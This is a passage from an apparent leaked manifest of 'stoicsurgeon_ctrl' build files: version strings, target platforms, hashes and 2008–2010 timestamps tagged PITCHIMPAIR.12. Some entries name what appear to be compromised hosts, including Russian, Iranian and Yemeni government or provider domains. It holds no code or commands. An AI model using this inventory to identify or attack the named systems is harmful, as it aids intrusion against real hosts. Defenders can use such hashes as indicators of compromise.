stoicsurgeon_ctrl__v__1.4.35.1_x86_64-linux-debian-4.0 +3CA5C2CB824660347166EF9D93B2276A6EBFB4DC Tue May 19 19:07:21 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.35.3_x86_64-linux-complexpuzzle-argos.b.de.kcce.net +157FE3B05B3863794C21B6E506B5DC558B802ED5 Wed Mar 5 21:23:43 2008 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.4.5.1_x86-linux-fedora4 +0840F4048F665F585122BFA9725CF563160023F7 Mon Jun 15 17:21:08 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.10_x86-linux-fataltouch-srv-udprf-2.udprf.ru +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.1_x86-linux-centos-4.4 +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.2_x86-linux-centos-4.6 +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.3_x86-linux-tilttop-gate2 +CAE2C87C2CA1B993DFA1E8E3FA6162D5A5C78567 Fri Jun 12 16:50:03 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.4_x86-linux-charmshrill-server +E5FC928178D1A6CE6D8EF6F8B01B3DE04AE9BCB6 Fri Jun 12 19:56:15 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.1.5_x86-linux-wolfacid_iq-lunasat-qos +8553765A31D5D3FFBF7A310B0EF366DCD04DA933 Wed Sep 2 02:22:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.10.1_sparc-sun-solaris2.8 +A68D48D22D0EABAD99C61FF729B85C4AAF59D4FF Wed Sep 2 02:36:49 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.10.2_sparc-sun-solaris2.9 +E5DA0DC05A85249A78EB7A100B36ED52B5C012C3 Wed Sep 23 20:30:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.2_sparc-sun-solaris2.8 +906353021314D1088490F9966E391487FDDE2F12 Wed Sep 23 20:38:34 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.4_sparc-sun-solaris2.10 +3691E4AAF9526152C6FA0A36DEAA9F27D6155137 Wed Sep 23 21:08:14 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.4_sparc-sun-solaris2.9 +3691E4AAF9526152C6FA0A36DEAA9F27D6155137 Wed Sep 23 21:08:14 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.11.6_sparc-sun-solaris2.9 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.1_x86-linux-suse-enterprise-9 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.4_x86-linux-centos-5.3 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.5_x86-linux-debian-4.0 +D3E7A7C54009102C1D13B2A0AE9D3D79E7DF256C Mon Sep 28 22:08:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.6_x86_64-linux-centos-4.4 +D3E7A7C54009102C1D13B2A0AE9D3D79E7DF256C Mon Sep 28 22:08:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.7_x86_64-linux-centos-5.3 +384D9F999253A97A6A3E5ADD952CA9E4E7C563D9 Wed Sep 30 20:48:40 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.8_x86_64-linux-centos-5.3 +2F309A13D91B959E1022ACD1F84916F2D945A5B7 Mon Sep 28 14:53:20 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.12.9_x86-linux-centos-5.2 +6737FDA71D76AD463A1FB977E943B09AFD4E9C9B Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.1_x86-linux-centos-4.7 +6737FDA71D76AD463A1FB977E943B09AFD4E9C9B Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.2_x86-linux-asianux-1.0 +6737FDA71D76AD463A1FB977E943B09AFD4E9C9B Tue Oct 6 21:33:05 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.3_x86-linux-slackware-10.1 +0AEDC194474DB2F9D0D180A8D8AAAB9B27873D97 Wed Oct 7 14:34:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.4_x86-freebsd-5.3 +0AEDC194474DB2F9D0D180A8D8AAAB9B27873D97 Wed Oct 7 14:34:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.13.5_x86-freebsd-5.3-sassyninja-mail.aprf.gov.ru +9C3E4A797396F6957170CCF9D296296EDF1492CB Fri Oct 9 22:27:59 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.1_x86_64-linux-redhat-enterprise-4.0 +9C3E4A797396F6957170CCF9D296296EDF1492CB Fri Oct 9 22:27:59 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.2_x86_64-linux-redhat-enterprise-5.0 +7F3FEC2C7395696C45AD11E0DBA0A0C0B607ED9A Fri Oct 9 22:35:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.3_x86-linux-ubuntu-8.04 +7F3FEC2C7395696C45AD11E0DBA0A0C0B607ED9A Fri Oct 9 22:35:06 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.14.5_x86-linux-fedora9 +450AB9C2B2693E40C3A0258A39A1DF80B6781A5D Wed Oct 14 13:47:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.15.1_x86-freebsd-7.1 +F870A97684B9DEA1399F7BC9E5CC0CB6668DDFF7 Wed Oct 14 14:34:37 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.15.2_x86-freebsd-7.2 +80C779212A8A048ED6AD1E632F78C4BD003DA75C Tue Oct 20 10:55:41 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.10_x86-freebsd-7.2 +0F357135CBE7BEFAB89397DFC6ABB5C07A968B27 Tue Oct 20 13:28:26 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.11_x86-freebsd-5.3 +0F357135CBE7BEFAB89397DFC6ABB5C07A968B27 Tue Oct 20 13:28:26 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.12_x86-freebsd-5.3-sassyninja-mail.aprf.gov.ru +4D9EF34B808774426A89940750755F3FD817C3EE Tue Oct 20 17:30:09 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.13_x86_64-linux-debian-4.0 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.14_x86-linux-centos-5.2 +55751B6A8807845EDE77A2E9B1A89EB03F4A6208 Fri Oct 30 16:48:13 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.15_x86_64-linux-redhat-enterprise-4.0 +7D9FD4E5A3B4DF3F1056B9F64D8C61E0924D38BA Thu Nov 5 21:00:41 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.16_x86_64-linux-redhat-enterprise-5.0 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.17_x86-linux-fedora10 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.19_x86-linux-suse-10.2 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.1_x86-linux-debian-5.0 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.2_x86-linux-fedora10 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.3_x86-linux-fedora8 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.4_x86-linux-centos-5.3 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.5_x86-linux-redhat-7.3 +8E8590757D80A2136348406CA67DB286469B7B2D Mon Oct 19 18:58:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.8_x86-freebsd-7.1 +764CC61CE24FAAD859294AC2CEDD2D237682EB54 Mon Oct 19 20:20:42 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.16.9_x86-linux-suse-enterprise-9 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.12_x86_64-linux-centos-5.2 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.13_x86_64-linux-centos-5.1 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.15_x86-linux-asianux-1.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.16_x86-linux-slackware-10.1 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.17_x86-linux-slackware-11.0 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.18_x86_64-linux-redhat-enterprise-5.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.1_x86-linux-suse-10.2 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.20_x86-linux-suse-9.3 +3743120477E9718061FE906977A9B7B1939DBF0A Mon Jan 25 17:22:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.22_x86_64-linux-suse-10.1 +2ED7583A61E4A7DD9800C58E55660F3D577F9F24 Wed Jan 27 19:26:48 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.24_x86-freebsd-7.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.25_x86-linux-centos-4.8 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.26_x86-linux-slackware-10.2 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.27_x86-linux-steelsnob-babar +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.3_x86-linux-suse-10.3 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.4_x86-linux-suse-10.1 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.5_x86-linux-suse-10.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.6_x86-linux-suse-10.0 +115738B1B0101EE673853FBCFF6FDF575FBF666A Fri Jan 8 19:32:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.7_x86-linux-centos-5.4 +4005B0F8962499525369610119ADD45DC5588307 Mon Jan 11 20:34:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.17.8_x86_64-linux-centos-5.3 +7C4E42DC877BFF6B753DF087153384933C612D41 Thu Jan 28 17:41:45 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.18.1_sparc-sun-solaris2.10 +561835B4D668F3FC05D22DCEAA1CDE349FB4F0FB Tue Feb 23 01:11:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.19.1_x86_64-linux-redhat-enterprise-5.0 +9D3A6ACB77F2A67E130D98A3E303234C4D51D10C Tue Feb 23 17:44:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.19.2_i386-pc-solaris2.10 +1E8B5C20C3D45938639277627B07AF7ADDA0B79F Tue Mar 16 19:39:07 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.10_x86-linux-darkthunder-nsp.yemen.net.ye +504EA7219B7FC10719186AC787F2D2FB498B948B Wed Mar 17 17:25:03 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.12_x86-freebsd-7.1 +9DE5F93389F80791463FC42C3F4AFE16ACE65646 Wed Feb 24 20:47:51 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.1_x86-freebsd-5.4 +2990986696251A46DD89A60423F9F3AD57FC844B Thu Feb 25 16:06:49 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.2_x86-freebsd-6.1 +F1613FF3E9FCB32C4C29A7F484D8121177FCD556 Thu Feb 25 19:16:20 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.3_x86-freebsd-6.0 +8AC946B156123AC4683C605446B02AA4506EA0CF Thu Feb 25 19:33:12 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.4_x86-freebsd-6.2 +29224C03114EA37E240E9523E54D55EEB4390185 Tue Mar 2 18:46:10 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.6_x86-freebsd-5.5 +A71B80B4B7E9E734AA04BD3A154AC0BCE0CB1D6D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.7_x86-linux-centos-5.4 +A71B80B4B7E9E734AA04BD3A154AC0BCE0CB1D6D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.8_x86-linux-straitshooter-ibs-bk +A71B80B4B7E9E734AA04BD3A154AC0BCE0CB1D6D Fri Mar 5 14:28:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.20.9_x86-linux-centos-4.8 +6824F9257F9954AE280692B0EC8E4C1056B15905 Mon Mar 1 19:29:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.1_x86-junos-9.6 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.2_x86_64-linux-debian-5.0 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.3_x86_64-linux-centos-5.0 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.4_x86_64-linux-scientific-5.1 +382682BFF966666E38DC2AECD6FAD1DC27E5A0D9 Tue Mar 16 20:11:38 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.5_x86_64-linux-suse-10.2 +AAB6B0722B74CE3075BEF329BDD7D69F99146FAE Wed Mar 17 18:37:35 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.21.6_x86-linux-redhat-enterprise-5.4 +24B0488C1BE7F581511DB3BE97BEDC3CAD7EF93F Wed Mar 24 00:15:37 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.2_x86_64-linux-redhat-enterprise-5.4 +03C4CF0976D0E70DAFD04D94903D0C904BEF37F3 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.3_x86-linux-centos-5.4 +03C4CF0976D0E70DAFD04D94903D0C904BEF37F3 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.4_x86-linux-redhat-8.0 +7D5ED4389D5FF9DD4BD9327A5A81C308924A51D7 Thu Apr 1 18:18:51 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.5_x86_64-linux-debian-5.0 +03C4CF0976D0E70DAFD04D94903D0C904BEF37F3 Wed Mar 31 22:00:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.22.6_x86-linux-debian-5.0 +87D1B6EC6A2B8A60C7F58E71EC9B751952DB0F68 Tue Apr 27 00:24:08 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.1_x86_64-linux-vinifera-ie103 +C1C133F1A41C9C19742F8569FC9DD78A99A57A56 Thu Apr 29 14:43:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.2_x86_64-linux-vinifera-ie104 +C1C133F1A41C9C19742F8569FC9DD78A99A57A56 Thu Apr 29 14:43:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.3_x86_64-linux-centos-5.4 +929AD8D3673913FABD800E00388D3447492D2C23 Mon May 10 14:51:52 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.4_x86-linux-redhat-enterprise-5.2 +929AD8D3673913FABD800E00388D3447492D2C23 Mon May 10 14:51:52 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.23.5_x86-linux-centos-4.8 +D9EC5CBE547F46ADFDB4EE78AE2D0872516163B1 Fri May 14 12:07:15 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.24.1_sparc-sun-solaris2.7 +5221873FFB50711DB904BB04973BC07572E1AF92 Fri May 14 17:49:13 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.24.2_x86-linux-avaya-5.2.1 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.1_x86-linux-ubuntu-8.04 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.2_x86-linux-centos-3.6 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.3_x86-linux-redhat-enterprise-4.0 +1AB960FE646AD0B99DE2DC781FD15F7FA9C2A864 Fri May 21 17:19:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.25.4_x86-linux-centos-3.6 +779D74754C86456114B4084DD9799BF5B2BA5AE4 Thu Jun 24 19:14:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.1_x86-linux-avaya +0982C354DFEE88D99DCA3FB225453DFF94FEB52C Wed Jun 9 11:56:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.2_x86_64-freebsd-7.0 +F4250729211A945A5B70A562FDE851FE5A0B583A Wed Jun 16 16:53:33 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.4_error_x86_64_linux_suse_enterprise_10.2_bin +F4250729211A945A5B70A562FDE851FE5A0B583A Wed Jun 16 16:53:33 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.4_x86_64-linux-suse-enterprise-10.2 +779D74754C86456114B4084DD9799BF5B2BA5AE4 Thu Jun 24 19:14:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.26.5_x86-linux-wickedviper-tux.minatom.ru +39F524A444082936BA89BA29E398A2ADD2BBF190 Thu Jun 24 21:55:39 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.27.1_x86-linux-redhat-enterprise-5.3 +A1F0F2CC3B41D7E276A6571184814F40937D6F8D Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.1_x86-linux-redhat-enterprise-5.2 +868E30FF8546960688F8E55EFF92A96C45029F13 Tue Jun 29 21:14:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.2_x86-linux-centos-5.2 +A1F0F2CC3B41D7E276A6571184814F40937D6F8D Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.3_x86-linux-redhat-enterprise-5.5 +A1F0F2CC3B41D7E276A6571184814F40937D6F8D Wed Jun 30 17:20:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.4_x86-linux-redhat-enterprise-3.0 +5937D06CA5B6B4C03802741E525D10BDF5F9D426 Fri Jul 2 23:42:12 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.29.5_x86_64-linux-centos-5.5 +8CBED715A05547827531BD399F4F8BD896FC942F Thu Jun 18 13:02:34 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.3.2_x86-freebsd-7.0 +CF438754E0F8A3766FB70A4FFD1ADBDE2D05875B Sat Jul 3 03:09:40 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.1_x86-linux-ubuntu-8.04 +F194724DEDCE7388A26701AC0118966CFF1A0962 Wed Jul 7 21:46:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.2_x86-linux-centos-5.5 +CF438754E0F8A3766FB70A4FFD1ADBDE2D05875B Sat Jul 3 03:09:40 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.5_x86-linux-avaya +F194724DEDCE7388A26701AC0118966CFF1A0962 Wed Jul 7 21:46:41 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.30.6_x86-linux-centos-5.4 +68635A2E3168E151B979E5B81BCA43011B33611D Thu Jul 22 13:26:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.10_sparc-sun-solaris2.10 +554AFAE571BC406C4D2AA0FE7102165D91A8C9F8 Thu Jul 22 13:55:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.11_i386-pc-solaris2.10 +EF413B99A91F3069C8DDAB6DB90FA5F502D48BA6 Mon Jul 26 18:17:40 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.12_sparc-sun-solaris2.9 +A8E183ED8DD0638AD8A5E1DC71CEE5F3F7C813DE Wed Jul 28 18:06:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.13_sparc-sun-solaris2.8 +A8E183ED8DD0638AD8A5E1DC71CEE5F3F7C813DE Wed Jul 28 18:06:34 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.14_sparc-sun-solaris2.8 +AC814EE79ECC05E7F30A04AF5C7B51ED2F8EA873 Tue Jul 13 16:02:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.1_x86-linux-slackware-13.0 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.2_x86-linux-slackware-9.1 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.3_x86-linux-slackware-10.0 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.4_x86-linux-slackware-10.1 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.5_x86-linux-slackware-10.2 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.6_x86-linux-slackware-11.0 +4ACD9CF46FB140C3966498504DFC7E005C9BD1D1 Wed Jul 14 18:27:02 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.7_x86-linux-slackware-12.0 +73632E556D4AFB6B76DCD73B7F4EB01427904050 Tue Jul 20 21:03:26 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.31.8_x86_64-linux-centos-5.3 +10B74F967CBC4D196E74477B4603A7DD4BCC0EA6 Fri Jul 23 20:58:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.32.1_x86-linux-redhat-enterprise-5.0 +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.1_error_x86_linux_slackware_13.0_i386_linux +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.1_x86-linux-slackware-13.0 +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.2_x86-linux-optimusprime-vezarat.dolat.ir +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.4_x86-linux-slackware-12.0 +AB97B98E3F8DAE2E65731080F1389AC8335F8628 Wed Aug 4 16:11:11 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.5_x86-linux-avaya-3.1.4 +A4C4632EB725FF4487D5BE44C5ABCE7CC9642965 Tue Aug 24 20:15:25 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.33.6_x86-linux-centos-5.3 +C41132C662418A54DF763663E5F0F1D3353B6CF5 Thu Aug 26 13:28:26 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.1_x86-junos-9.2 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.2_x86-junos-9.3 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.3_x86-junos-8.5 +0ABFDD9DE834A9741BDEB959414AC8914091DACD Thu Aug 26 21:28:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.3_x86-linux-alt-1.0 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.4_x86-junos-9.0 +1C85959835A259B8056AA59719457033CEA6B638 Fri Sep 24 18:19:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.34.5_x86-junos-9.1 +AC1075907C8E156A186D2D496FF5E621B4A41DE8 Fri Sep 10 17:13:43 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.35.1_x86-linux-bigip-9.1.2 +2833C7950E43D679F40C24C94987BED8AC9B7CFE Fri Oct 1 16:55:59 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.36.3_x86-linux-bigip-9.2.4 +7C99457F1F4075D132341FCB15CFFE81F39CA20C Thu Oct 21 18:38:13 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.37.2_x86-linux-bigip-9.2.4 +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.1_x86-linux-asianux-1.0 +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.2_x86-linux-suse-10.3 +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 